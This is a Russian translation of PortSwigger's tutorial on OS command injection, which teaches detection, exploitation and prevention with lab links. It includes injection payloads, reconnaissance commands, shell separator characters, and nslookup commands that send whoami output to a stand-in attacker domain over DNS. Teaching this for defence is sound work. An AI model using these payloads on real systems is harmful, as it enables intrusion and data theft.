# OS command injection

В этом разделе мы узнаем, что такое OS command injection, посмотрим, как обнаруживать и эксплуатировать уязвимости, увидим примеры полезных команды и приёмы для разных ОС и рассмотрим, как предотвращать OS command injection.

![os-command-injection.svg](https://2753068357-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7KQ4F0M3A1jSCGxOdZRW%2Fuploads%2Fgit-blob-1de5d7b2a2f3a1dcbeb11db83f94884161efce8b%2Fos-command-injection.svg?alt=media)

{% hint style="success" %}
**Лабораторные работы**

Если вы знакомы с базовыми концепциями уязвимостей OS command injection и хотите попрактиковаться в их эксплуатации на реалистичных, намеренно уязвимых целях, перейдите к лабораторным работам по ссылке ниже.

* [Посмотреть все лабораторные по OS command injection](https://portswigger.net/web-security/all-labs#os-command-injection)
  {% endhint %}

## Что такое OS command injection?

OS command injection также известна как «shell injection», позволяет атакующему выполнять команды операционной системы на сервере, на котором работает приложение, и обычно полностью компрометировать приложение и его данные. Часто атакующий может использовать уязвимость OS command injection, чтобы скомпрометировать другие части хостинговой инфраструктуры и, эксплуатируя доверительные отношения, развить атаку на другие системы внутри организации.

## Внедрение OS command injection

В этом примере приложение интернет-магазина позволяет пользователю посмотреть, есть ли товар в наличии в конкретном магазине. Эта информация доступна по URL:

```
https://insecure-website.com/stockStatus?productID=381&storeID=29
```

Чтобы предоставить сведения о наличии, приложению нужно опросить различные легаси-системы. По историческим причинам функциональность реализована через вызов shell-команды с идентификаторами товара и магазина в качестве аргументов:

```bash
stockreport.pl 381 29
```

Эта команда выводит статус наличия указанного товара, который возвращается пользователю.

Приложение не реализует защиту от OS command injection, поэтому атакующий может отправить следующий ввод для выполнения произвольной команды:

```bash
& echo aiwefwlguh &
```

Если этот ввод отправить в параметре `productID`, команда, выполняемая приложением, будет такой:

```bash
stockreport.pl & echo aiwefwlguh & 29
```

Команда `echo` заставляет вывести переданную строку в выходные данные. Это полезный способ проверять некоторые типы OS command injection. Символ `&` — разделитель команд shell. В этом примере он приводит к выполнению трёх отдельных команд, одна за другой.

Вывод, возвращённый пользователю:

```
Error - productID was not provided
aiwefwlguh
29: command not found
```

Три строки вывода демонстрируют, что:

* Исходная команда `stockreport.pl` была выполнена без ожидаемых аргументов, поэтому вернула сообщение об ошибке.
* Внедрённая команда `echo` была выполнена, и переданная строка появилась в выводе.
* Исходный аргумент `29` был выполнен как команда, что вызвало ошибку.

Размещение дополнительного разделителя команд `&` после внедрённой команды полезно, поскольку отделяет внедрённую команду от того, что следует после точки инъекции. Это снижает вероятность того, что последующее предотвратит выполнение внедрённой команды.

{% hint style="success" %}
**LAB**

[**OS command injection, simple case**](https://portswigger.net/web-security/os-command-injection/lab-simple)
{% endhint %}

## Полезные команды

После того как вы обнаружили уязвимость OS command injection, полезно выполнить некоторые первичные команды, чтобы получить информацию о системе. Ниже приведена сводка команд, полезных на платформах Linux и Windows:

| Назначение команды        | Linux         | Windows         |
| ------------------------- | ------------- | --------------- |
| Имя текущего пользователя | `whoami`      | `whoami`        |
| Операционная система      | `uname -a`    | `ver`           |
| Сетевые настройки         | `ifconfig`    | `ipconfig /all` |
| Сетевые соединения        | `netstat -an` | `netstat -an`   |
| Запущенные процессы       | `ps -ef`      | `tasklist`      |

## Blind OS command injection

Многие OS command injection — «слепые» уязвимости. Это означает, что приложение не возвращает вывод команды в своём HTTP-ответе. Слепые уязвимости всё ещё можно эксплуатировать, но требуются другие техники.

Например, представим сайт, который позволяет пользователям отправлять отзыв. Пользователь вводит свой адрес email и текст отзыва. Серверное приложение затем формирует письмо администратору сайта с содержимым отзыва. Для этого оно вызывает программу `mail` с переданными данными:

```bash
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
```

Вывод команды `mail` (если он есть) не возвращается в ответах приложения, поэтому полезная нагрузка с `echo` здесь не сработает. В этой ситуации можно использовать различные другие техники для обнаружения и эксплуатации уязвимости.

### Обнаружение Blind OS command injection с помощью временных задержек

Можно использовать внедрённую команду, создающую временную задержку, чтобы по времени ответа приложения подтвердить, что команда была выполнена. Команда `ping` хорошо подходит для этого, поскольку позволяет указать число ICMP-пакетов для отправки. Это даёт возможность управлять временем выполнения команды:

```bash
& ping -c 10 127.0.0.1 &
```

Эта команда заставляет приложение пинговать свой loopback-интерфейс 10 секунд.

{% hint style="success" %}
**LAB**

[**Blind OS command injection with time delays**](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
{% endhint %}

### Эксплуатация Blind OS command injection через перенаправление вывода

Можно перенаправить вывод внедрённой команды в файл внутри web-root, который затем можно получить через браузер. Например, если приложение отдаёт статические ресурсы из файловой системы по пути `/var/www/static`, можно отправить такой ввод:

```bash
& whoami > /var/www/static/whoami.txt &
```

Символ `>` отправляет вывод команды `whoami` в указанный файл. Затем можно через браузер забрать `https://vulnerable-website.com/whoami.txt`, чтобы получить файл и увидеть вывод внедрённой команды.

{% hint style="success" %}
**LAB**

[**Blind OS command injection with output redirection**](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
{% endhint %}

### Эксплуатация Blind OS command injection с использованием out-of-band (OAST) техник

Можно использовать OS command injection, которая вызовет внеполосное сетевое взаимодействие (out-of-band) с системой, контролируемой вами, применяя техники OAST. Например:

```bash
& nslookup kgji2ohoyw.web-attacker.com &
```

Эта полезная нагрузка использует команду `nslookup`, чтобы инициировать DNS-запрос к указанному домену. Атакующий может отслеживать, произошёл ли запрос, чтобы подтвердить успешность выполнения команды.

{% hint style="success" %}
**LAB**

[**Blind OS command injection with out-of-band interaction**](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
{% endhint %}

Внеполосный канал предоставляет простой способ эксфильтрации вывода внедрённых команд:

```bash
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
```

Это приводит к DNS-запросу к домену атакующего, который содержит результат команды `whoami`:

```
wwwuser.kgji2ohoyw.web-attacker.com
```

{% hint style="success" %}
**LAB**

[**Blind OS command injection with out-of-band data exfiltration**](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
{% endhint %}

## Способы внедрения OS command injection

Можно использовать ряд метасимволов shell для проведения атак OS command injection. Некоторые символы работают как разделители команд и позволяют сцеплять команды. Следующие разделители команд работают и в Windows, и в Unix-подобных системах:

* `&`
* `&&`
* `|`
* `||`

Следующие разделители работают только в Unix-подобных системах:

* `;`
* Newline (`0x0a` or `\n`)

В Unix-подобных системах также можно использовать обратные кавычки или символ доллара для встроенного выполнения внедрённой команды внутри исходной:

* `` ` ``injected command `` ` ``
* `$(`injected command `)`

Разные метасимволы shell имеют слегка различающееся поведение, что может влиять на их работоспособность в определённых ситуациях. Это может определять, позволят ли они получить вывод команды в текущем канале (in-band) или пригодны только для «слепой» эксплуатации.

Иногда контролируемый вами ввод оказывается внутри кавычек в исходной команде. В таком случае нужно завершить контекст кавычек (с помощью `"` или `'`), а затем использовать подходящие метасимволы shell для инъекции новой команды.

## Как предотвращать атаки OS command injection

Самый эффективный способ предотвращать уязвимости OS command injection — никогда не вызывать OS command из кода уровня приложения. Почти всегда существуют другие способы реализовать необходимую функциональность, используя безопасные платформенные API.

Если вам всё же приходится вызывать OS command с пользовательским вводом, необходимо выполнять строгую проверку ввода. Примеры эффективной проверки:

* Проверка по разрешающему списку допустимых значений.
* Проверка, что ввод — число.
* Проверка, что ввод содержит только буквенно-цифровые символы, без иной синтаксической информации и пробелов.

Никогда не пытайтесь «очищать» ввод с помощью экранирования метасимволов shell. На практике это слишком ошибко опасно и может быть обойдёно квалифицированным атакующим.

{% hint style="info" %}
**Подробнее**

* [Поиск уязвимостей OS command injection с помощью веб-сканера уязвимостей Burp Suite](https://portswigger.net/burp/vulnerability-scanner)
* [Материал PortSwigger Research по докладу Hunting Asynchronous Vulnerabilities с 44Con и BSides Manchester](https://portswigger.net/research/hunting-asynchronous-vulnerabilities)
  {% endhint %}
